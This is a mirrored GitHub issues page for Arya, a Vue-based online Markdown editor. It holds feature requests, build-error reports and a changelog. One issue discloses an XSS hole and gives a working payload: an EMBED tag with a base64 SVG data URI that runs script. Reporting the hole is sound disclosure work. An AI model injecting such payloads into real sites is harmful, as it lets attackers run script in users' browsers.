Code Monkey home page Code Monkey logo

nicejade / markdown-online-editor Goto Github PK

View Code? Open in Web Editor NEW
2.4K 44.0 313.0 2.12 MB

📝基于 Vue、Vditor,所构建的在线 Markdown 编辑器,支持流程图、甘特图、时序图、任务列表、HTML 自动转换为 Markdown 等功能;🎉新增「所见即所得」编辑模式。

Home Page: https://markdown.lovejade.cn/

License: MIT License

Shell 0.09% JavaScript 5.94% HTML 0.31% Vue 3.71% CSS 89.45% Less 0.47% Dockerfile 0.03%
markdown vue editor vditor flowchart sequence-diagram gantt-diagram to-do-list

markdown-online-editor's Introduction

markdown-online-editor's People

Contributors

dependabot[bot] avatar nicejade avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

markdown-online-editor's Issues

TextBundle 支持

Arya 不支持直接粘贴图片或者拖动文件到笔记中。原因可以理解。不过或许 TextBundle 可以解决。

关于 TextBundle 的建议已经提交给链滴笔记,D 表示链滴笔记会加入支持,详情在这里:

https://hacpai.com/article/1579786655216/comment/1590302188865?r=JackalZhao

对于在线编辑器 Arya ,我觉得 TextBundle 或许可以这样解决插入图片的问题:

  • Arya 的文件是保存在本地的
  • 创建文件的时候,不是直接创建 md 文件,而是创建一个叫 document.textbundle 的文件夹,在这个文件夹里新建 text.md 文件
  • 在 document.textbundle 文件夹中创建叫 assets 的文件夹,在文档中拖入图片的时候,将图片保存到 assets 文件夹,文档就可以用 [image](assets/image.png) 这样的形式引用。
  • 在导出格式中添加 TextBundle 方式,即:将上述的 document.textbundle 文件夹打包成 zip 压缩包,再导出,这样,导出的文件夹内的文档可以在任何编辑器中查看,并且正常加载图片和文件。

因为不清楚浏览器缓存文件规则,所以我其实也不知道这个方法是否可行,只能提出拙见。

存在XSS漏洞

存在XSS
payload:

<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>

粘贴 HTML 自动转换为 Markdown

是我的使用姿势不对嘛?尝试了几次没触发自动转换功能呢

比如下面这一段

<p>协程这个概念在1958年就开始出现, 目前某些语言开始原生支持(目前主流语言我感觉只有Java完全不支持协程). Java没有原生协程但是可以大型公司都自己或者使用第三方库来支持协程编程, 但是Kotlin原生支持协程.</p>
<p>Android领域的网络请求库一般由Rxjava实现, 包括我自己写的网络请求库同样也是采用的RxJava. 但是这些RxJava实现的网络请求库同样很难方便的实现并发</p>

新增对 PPT 的支持

考虑到时常有撰写 PPT 的诉求,可是用 Office 那一套,实在是有些浪费生命的意味。网上虽有很多 Markdwon PPT 工具,但诸多尝试,使用体验,都不那么尽如人意;因此衍生想在此增设对 PPT 的支持。一番考察,RevealJs 是一个很棒的选择。

解决 GitHub Pages 不支持 SPA 应用问题

Arya - 在线 Markdown 编辑器,是部署在 Github Pages 服务上的;这对于静态网站,是一个很棒的容器;然而,GitHub Pages 本身不支持单页面应用程序的:

GitHub Pages doesn't natively support single page apps. When there is a fresh page load for a url like example.tld/foo, where /foo is a frontend route, the GitHub Pages server returns 404 because it knows nothing of /foo.

对于这个问题,解决的办法比较多;此项目使用 Vue 构建,即可使用 SSR 绕过此问题;或者采用 spa-github-pages 类似已经给出的方案;而,在早期设计的代码中,采用的是 [Prerender SPA Plugin
(https://github.com/chrisvfritz/prerender-spa-plugin),在本地部署前,将单页面应用程序(SPA)中预呈现静态 HTML。这是一个蛮不错的方案,但之前将 export/pngexport/pdf 等公用了同一个路由,导致该页面不能被提渲染(当在 export/png 页面刷新,因为 Github pages 不支持 SPA,会被告知页面 404),所以需要单独予以解决。

已对当前最新版本进行docker打包

@nicejade 我已经完成了docker打包,现在本项目可以通过docker部署
同时我进行了PR(在项目介绍中增加了docker部署方式),望通过(希望项目留名谢谢)

docker run -d -p [希望部署的端口]:80 shawnnotfound/vue-markdown:0.1

如何集成到自己的项目中?

官方的文档在哪?
怎么安装? 有哪些可配置的props和events?
woc, 这难道不是一个 vue 的组件吗? 还是我太菜了

构建静态文件时报错

本地和在 Netlify 使用yarn run build生产静态版本时会报


Error: Exited with 1
    at ChildProcess.child.on (/zeit/f51a0a4251865668/.build-utils/.builder/node_modules/@now/static-build/dist/index.js:34567:24)
    at emitTwo (events.js:126:13)
    at ChildProcess.emit (events.js:214:7)
    at maybeClose (internal/child_process.js:925:16)
    at Process.ChildProcess._handle.onexit (internal/child_process.js:209:5)

请教下解决方案,目测不是本地问题,谢谢

无法导出到本地

选择导出格式在新页面预览后,再点击生成导出,在“生成导出”处的鼠标会从收件变成箭头,然后就没有然后了。
是现在不支持这一功能了,还是有其他什么要求或设置?

Arya Markdown 更新日志

  • 2019.05.06:⬆️ 升级 Vditor 至 3.2.0,增加导出微信公众号等功能;
  • 2020.04.19 ⬆️ 升级 Vditor 至 v3.1.12, 使得拥有了「所见即所得」编辑模式
  • 2019.11.21:⬆️ 升级 Vditor 至 1.9.7,支持标题锚点、语音阅读渲染;
  • 2019.10.21:⬆️ 升级 Vditor 至 1.9.0markdown-it => Lute
  • 2019.08.14:✨ 注入 RevealJs,增设对 PPT 的支持;
  • 2019.08.10:⬆️ 升级 Vditor,书写区 textarea => div
  • 2019.07.16:⬆️ 升级 Vditor,新增对 echarts 图表的支持;
  • 2019.07.10:👷 完善 prerender-spa-plugin 构建 SPA 配置;
  • 2019.06.30:🚑 解决 GitHub Pages 不支持 SPA 应用问题;
  • 2019.06.30:🐎 更新所运用的库,提升导出图片清晰度;
  • 2019.05.15:🎬 增加导出 PDF、PNG、JPEG 等 Feature;
  • 2019.05.08:🎉 初始化项目,完成基本功能并发布上线;

同步滚动不同步

参考CSDN的md编辑器,不是按滚动条进度同步,而是按照md生成的内容同步。

对编辑任务生成编辑事务 ID,方便10 分钟以内找回恢复编辑

用这个编辑器试用了一下编辑了 20 分钟的内容结果点了一下 PPT 预览,然后没有返回的提示想继续编辑却找不到该怎么操作,我就点了后退,结果就啥都没了,

然后就一切干干净净,完全无法找回,一点痕迹都不留,一夜回到解放前,不敢乱用了,只能重新回到本地老老实实的重头写了一遍,东西说没就没是不是很窝心.

vscode

请问, 有开发vscode插件的想法么...

增加「所见即所得」编辑模式

所见即所得(What you see is what you get,缩写即 WYSIWYG)在编辑器领域指的是看到啥就是啥,比如我想加粗某个字,那“加粗”只是个操作,操作结果就是得到加粗后的文本,而加粗的操作(标记符)是不会出现在文本中的。

目前看来,大部分人习惯所见即所得的编辑方式,因为这种方式非常直观。但在程序员圈子里却恰恰相反,我们更喜欢标记类排版编辑方式,其中最为流行的是 Markdown。显然这类标记语言不是所见即所得的,但从程序员的角度理解的话,其实这才是真正的所见即所得,就像《黑客帝国》中的代码绿幕。

摘自 Vditor 所见即所得,作为程序员还是更喜欢标记类排版编辑方式;而且,在 Arya 所支持的功能中,大部分用“所见即所得”,并不是那么方便;因此,这里采取默认不是「所见即所得」模式,可以通过在 Toolbar 进行切换。

请问一下,有reset 首页的功能么?

我对markdown的语法不是很熟悉。使用该工具编辑,需要参考现在已经有的内容。

当我编辑很多,删除很多内容后。每次打开该网站,都是上次的编辑内容(这个很好,没问题)

但是,如果我要继续编辑,或者开始一篇新的文章。这个时候,我就希望能够reset到最开始的那个页面了。虽然有很多冗余数据,但基本包含了所有的markdown元素,在写文章时,能够参考,还是很不错的。

希望添加一个按钮,比如reset,或者打开一个新页面,初始化为最初的参考文档。

p.s. 不知道有没有把需求讲明白。

怎么在react里面使用

我的项目使用react写的,需要引入md editor,在知乎上看到了。但是看项目是vue写的

TypeError: prettier.resolveConfig.sync is not a function

Syntax Error: TypeError: prettier.resolveConfig.sync is not a function
Occurred while linting xxx\markdown-online-editor-master\src\main.js:3
at Array.forEach ()
at Array.forEach ()
at Array.map ()
xxx表示路径

是版本的问题吗?

[feature request]支持脑图、及通过脑图拖拽markdown文字

如题,这个建议分2部分,而第2部分其实依赖于第1部分

支持脑图

  • 将“#”开头的标题,提取为脑图的节点,这个好理解
  • 标题下面的文字,则作为节点的”笔记“或者”注释“(类似于https://www.mindmup.com/)
  • 脑图要是同样支持md的公式就更好了(我想标题中含公式还是常见的;至于标题含其它各种图,好像本来也就是不允许的)
  • 节点的”笔记“或者”注释“,和md编辑器一样,支持各种公式、图表等等特性

支持脑图节点的拖拽

单纯支持节点拖拽,其实没多大意思
我这里说的是,拖拽之后,md文件中,标题和下方的文字也同时变化位置、级别
约定,一级标题的次序,按照从上到下、再从左到右的顺序;而之后的二级……标题,则按从上到下的顺序。这样就不存在次序的困扰了

md、脑图/笔记双向可编辑

在上述第1部分,脑图来自与md。md变化,则脑图变化
第2部分,已经包含了“编辑脑图次序,改变md”这样方向的编辑。要是可以在脑图中,编辑节点/笔记,同时改变md文字,那就是完全的双向可编辑了

是的,这个功能很难、很难。但是这不是拍脑袋想的,之前我写文件的时候确实需要这功能

我也承认,我已怂恿了其它软件去做,得到了两类回复

  • 我是正经md编辑器,你提脑图是来搞事情的吗
  • 太棒了,我考虑一下

支持简谱

在大众的使用范围比五线谱还广。

提升导出图片清晰度

目前采用 dom-to-image 库将图片导出为 pngjpg,但即便设置为 quality 为 1,导出的图片质量也不高,看起来比较模糊,需要优化。

Chromium revision is not downloaded.

对下 prerender-spa-plugin 的介绍,我们会知道,在 3.* 版本是基于 puppeteer 的。之前在文章基于 Puppeteer 构建简易机器人中有说明:

备注: Puppeteer 需要用到 Chromium,但,即便处于 Science 上网的姿态, 也会遇到 Chromium 无法成功下载的问题;所以在此项目中,有替换成使用 puppeteer-core (默认情况下不下载 Chromium,使用时须要确保您安装的 puppeteer-core 版本与您要连接的浏览器兼容);鉴于此,还是手动下载 Chromium,通过设定 executablePath 来使用。

如果在使用 prerender-spa-plugin 过程中不能正常下载 Chromium 可以怎么办呢?能够选择的有两种办法:

  1. Chromium revision is not downloaded 提到的:
npm rebuild puppeteer
  1. 手动下载,通过设定 executablePath 来使用;
    具体如何使用在 markdown-online-editor
    README
    中有过说明;具体代码可以参见 🐛 fix Chromium revision is not downloaded 这笔提交。

除了如上这种方法外,还有一种可行的方法,直接修改源码:对应 node_modules/@prerenderer/renderer-puppeteer/es6/renderer.js 49 行前添加一句:

this._rendererOptions.executablePath = '/Users/$YOUR-PATH/Google/chrome-mac/Chromium.app/Contents/MacOS/Chromium'

当然,如果 Chromium 可以正常被下载,那么稍微修改 vue.config.js 配置即可。

export pdf error

(index):5 Uncaught TypeError: Cannot read property 'insertAdjacentHTML' of null
at (index):5
(anonymous) @ (index):5
chunk-2d216257.df162628.js:21 Uncaught (in promise) DOMException: Failed to execute 'drawImage' on 'CanvasRenderingContext2D': The image argument is a canvas element with a width or height of 0.
at A. (https://markdown.lovejade.cn/js/chunk-2d216257.df162628.js:21:151534)
at i (https://markdown.lovejade.cn/js/chunk-2d216257.df162628.js:21:1849)
at Object.next (https://markdown.lovejade.cn/js/chunk-2d216257.df162628.js:21:1144)
at s (https://markdown.lovejade.cn/js/chunk-2d216257.df162628.js:21:693)
(anonymous) @ chunk-2d216257.df162628.js:21
i @ chunk-2d216257.df162628.js:21
(anonymous) @ chunk-2d216257.df162628.js:21
s @ chunk-2d216257.df162628.js:21
Promise.then (async)
(anonymous) @ chunk-a4189212.a6657841.js:9
h.thenCore @ chunk-a4189212.a6657841.js:9
h.then @ chunk-a4189212.a6657841.js:9
exportAndDownloadPdf @ chunk-5d3ae0d8.23b9f8fb.js:1
onExportBtnClick @ chunk-5d3ae0d8.23b9f8fb.js:1
ie @ app.c10f0d0e.js:34
n @ app.c10f0d0e.js:34
ie @ app.c10f0d0e.js:34
Mn.t.$emit @ app.c10f0d0e.js:34
handleClick @ element.7a4800b8.js:1
ie @ app.c10f0d0e.js:34
n @ app.c10f0d0e.js:34
Fo.o._wrapper @ app.c10f0d0e.js:34
(index):1 The resource https://markdown.lovejade.cn/js/element.7a4800b8.js was preloaded using link preload but not used within a few seconds from the window's load event. Please make sure it has an appropriate as value and it is preloaded intentionally.
(index):1 The resource https://markdown.lovejade.cn/js/app.c10f0d0e.js was preloaded using link preload but not used within a few seconds from the window's load event. Please make sure it has an appropriate as value and it is preloaded intentionally.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.